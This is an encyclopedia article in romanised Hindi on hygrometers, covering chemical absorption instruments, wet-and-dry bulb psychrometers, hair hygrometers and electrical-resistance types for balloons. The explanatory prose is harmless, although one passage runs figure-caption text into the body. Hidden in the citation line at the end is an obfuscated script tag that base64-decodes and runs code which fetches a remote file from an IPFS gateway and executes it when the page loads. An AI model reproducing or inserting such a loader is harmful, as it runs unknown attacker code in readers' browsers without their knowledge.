हाइग्रोमीटर
thumb|haigromitar haigromitar (ardratamapi) (aangrezi:Hygrometer) ek vaijnanik upakaran hai. isaki sahayata se vayumandal se vyapt ardrata napi jati hai. bahut se aise padarth haian, jaise salphyoorik aml, kailsiyam kloraid, ph aausaphoras peantaksaid, sadharan namak adi, jo jalavashp ke shoshak hote haian. inaka upayog karake rasayanik ardatamapi banae jate haian, jinake dvara vayu ke ek nishchit ayatan mean vidyaman jalavashp ki matra gram mean jnat ki jati hai. ek botal mean ph aausaphoras peantaksaid aur do tin naliyoan mean kailsiyam kloraid bharakar taul lete haian. phir is botal ko ek vayuchooshak (aispiretar) ki shrriankhala mean jo d dete haian. chooshak chaloo kar dene par jal girata hai aur rikt sthan mean hava botal tatha naliyoan ke bhitar se hokar ati hai. poorvokt rasayanik padarth vayu ke jalavashp ko sokh lete haian aur sookhi vayu chooshak mean ekatr ho jati hai. botal tatha naliyaan rasayanik padarthoan sahit phir tauli jati haian. pahali taul ko isamean se ghatakar jalavashp ki matra, jo ekatrit vayu ke bhitar thi, jnat ho jati hai.aise yantr dvara ardrata ka pata b di sookshmata se lagaya ja sakata hai, parantu parinam prapt karane mean samay lagata hai. 1. shushk vayu; 2. ph aausphoras peantaksaid; 3. kailsiyam kloraid; 4. vayu.
any ardratamapi dain, deniyal ya reno ke nam se prasiddh haian. inake dvara ham osaank jnat karate haian. phir is osaank aur vayu ke tap par vashpadab ka man, reno ki sarani dekhakar, apekshik ardrata jnat kar sakate haian. inake atirikt vayu mean kisi samay nami ki tatkalik janakari ke lie gile aur sookhe balbavale ardratamapi (vet aiand drai balb haigromitar) ka nirman kiya gaya hai. ise saikromitar bhi kahate haian. is upakaran mean do saman tapamapi ek hi takhte par j de rahate haian. ek tapamapi ke balb par kap da lapeta rahata hai, jo sada bhiga rahata hai. isake lie kap de ka ek chhor niche rakhe hue bartan ke pani mean dooba rahata hai. kap de ke jal ka vashpibhavan rahata hai, jo vayu ki ardrata par nirbhar rahata hai. jab vayu mean nami ki kami hoti hai to vashpibhavan adhik aurisaka mukhy aang ek bal (kesh) hota hai,jonyoonadhikardratakeanusar ghatatabadhata hai. t. tapamapi; p. pech jisakedvara balaka sira jak da rahata hai; b.bal; n, mapani; dh. sanketak. thumb|250px|left jab vayu mean nami ki adhikata hoti hai to vashpibhavan kam hota hai. vashpibhavan ke anusar gile balbavale tapamapi ka para niche utar ata hai aur donoan tapamapiyoan ke pathoan mean aantar paya jata hai. unake pathoan mean yah aantar vayu ki nami ki matra par nirbhar rahata hai. yadi vayu jalavashp ke santript ho to donoan tapamapiyoan ke path ek hi rahate haian. reno ki sarani mean vibhinn tapoan par is aantar ke anukool jalavashp ki dab di huee hai, at: donoan tapamapiyoan ka path lekar apekshik ardrata tatha osaank ka man jnat kiya jata hai.
tapamapiyoan par vayu badalati rahe, is uddeshy se kuchh saikromitaroan ko ek chal se ghumane ka ayojan kiya rahata hai. takhti motar dvara prati sekand char bar ghumaee jati hai, jisase vayu sada badalati rahati hai. aise saikromitaroan ke lie apekshik ardrata ki sarani isi paribhraman sankhya 4 ke anukool banaee jati hai. paribhraman separe ki satah hilati rahati hai. is dosh ko door karane aur shuddh mapan ke lie any upay upay ka prayog kiya gaya hai. ek prakar ke yantr mean donoan tapamapiyoan ko dhatu ki dohari nali ke bhitar sthir rakha jata hai aur nali ke bhitar ki hava ek chhote bijali ke pankhe dvara badalati rahati hai. aisi dohari dival ki nali se vikiranoan ka bhi prabhav nahian p dane pata.
kiantu in ardratamapiyoan se ardrata ka man shighr nahian jnat kiya ja sakata. isake atirikt vayu mean nami ki matra kshan-kshan par badalati rahati hai tatha hamean kshan prati kshan nami ka pata poore din bhar ka janana avashyak hota hai. poorvokt yantroan dvara ham vayumandal ke oopari bhag ki ardrata ka adhyayan bhi nahian kar sakate. in uddeshyoan ki poorti ke lie bal (kesh) ki lanbaee par nami ke prabhav ko dekhakar sarvapratham di sosyoor ne ek ardratadarshak ka nirman kiya. is ardratadarshak mean ek rookha svachchh bal rahata hai. bal ka ek sira dhatu ke tuk de ke barik chhidr mean peanch dvara jak da rahata hai (chitr 2). niche ki or bal ka ek phera ek ghirani par lapet diya jata hai. tab bal ke sire ko ghirani ki bari (rim) mean peanch dvara jak d diya jata hai. ghirani ki dhuri par ek sanketak laga rahata he. bal ki lanbaee badhane par ek kamani ke karan ghirani ek or aur ghatane par doosari or ghoomati hai aur usake sath sanketak vrittakar mapani par chalata hai. mapani ka aanshaankan ardrataman mean kiya rahata hai, at: sanketak ke sthan se mapani par ardrata ka man pratishat turant padha ja sakata hai. isi ke adhar par svalekhi ardratamapi banae haian, jinake dvara graph par 24 ghante athava poore saptah ke pratyek kshan ki ardrata ka man aankit kiya jata hai. kiantu ek bal se itani pushtata nahian ati ki ghirani ke sanketak se graph likhavaya ja sake, visheshakar jab aisa upakaran gubbare athava viman mean oopari vayumandal ke adhyayan ke lie lagaya jata hai. pushtata ke lie baloan ke guchchhe athava rassi ka upayog kiya jata hai. parantu isase ardratamapi ki yatharthata ghat jati hai. dekha gaya hai ki gho de ka ek bal manushy ke baloan ki rassi se adhik upayogi hota hai. isalie inaka prayog kiya jata hai, parantu ek any dosh ke karan shit pradeshoan mean isaka upayog nahian ho sakata. tap ghatane se jalavashp ke prati bal ki chetanata kshin ho jati hai. tab upakaran bahut samay ke bad nami se prabhavit hota hai. -40° sean. par to bal bilakul kuanthit ho jata hai. thumb|250px|right ab kuchh aise vidyuchchalak padarthoan ka pata chala hai jinake vaidyut avarodh mean jalavashp ke karan parivartan hota hai. danamor ne aise ardratamapi ka nirman oopari vayumandal ke adhyayan ke lie kiya hai. isamean lithiyam phloraid ki patali parat hoti hai jisaka vaidyut avarodh jalavashp ke karan badalata hai. yah parat vidyutparipath (ilektrik sarakit) mean lagi rahati hai. avarodh ke parivartan se dhara ghatati badhati hai, at: dharamapi ki mapani par ardrataman padha ja sakata hai. dharamapi ke sanketak ko svalekhi banakar ardrata ka man graph par aankit bhi kiya ja sakata hai. gubbare aur vayuyanoan mean pray: aise hi ardratamapi lage rahate haian.[1]
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sanbandhit lekh
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- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 435 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
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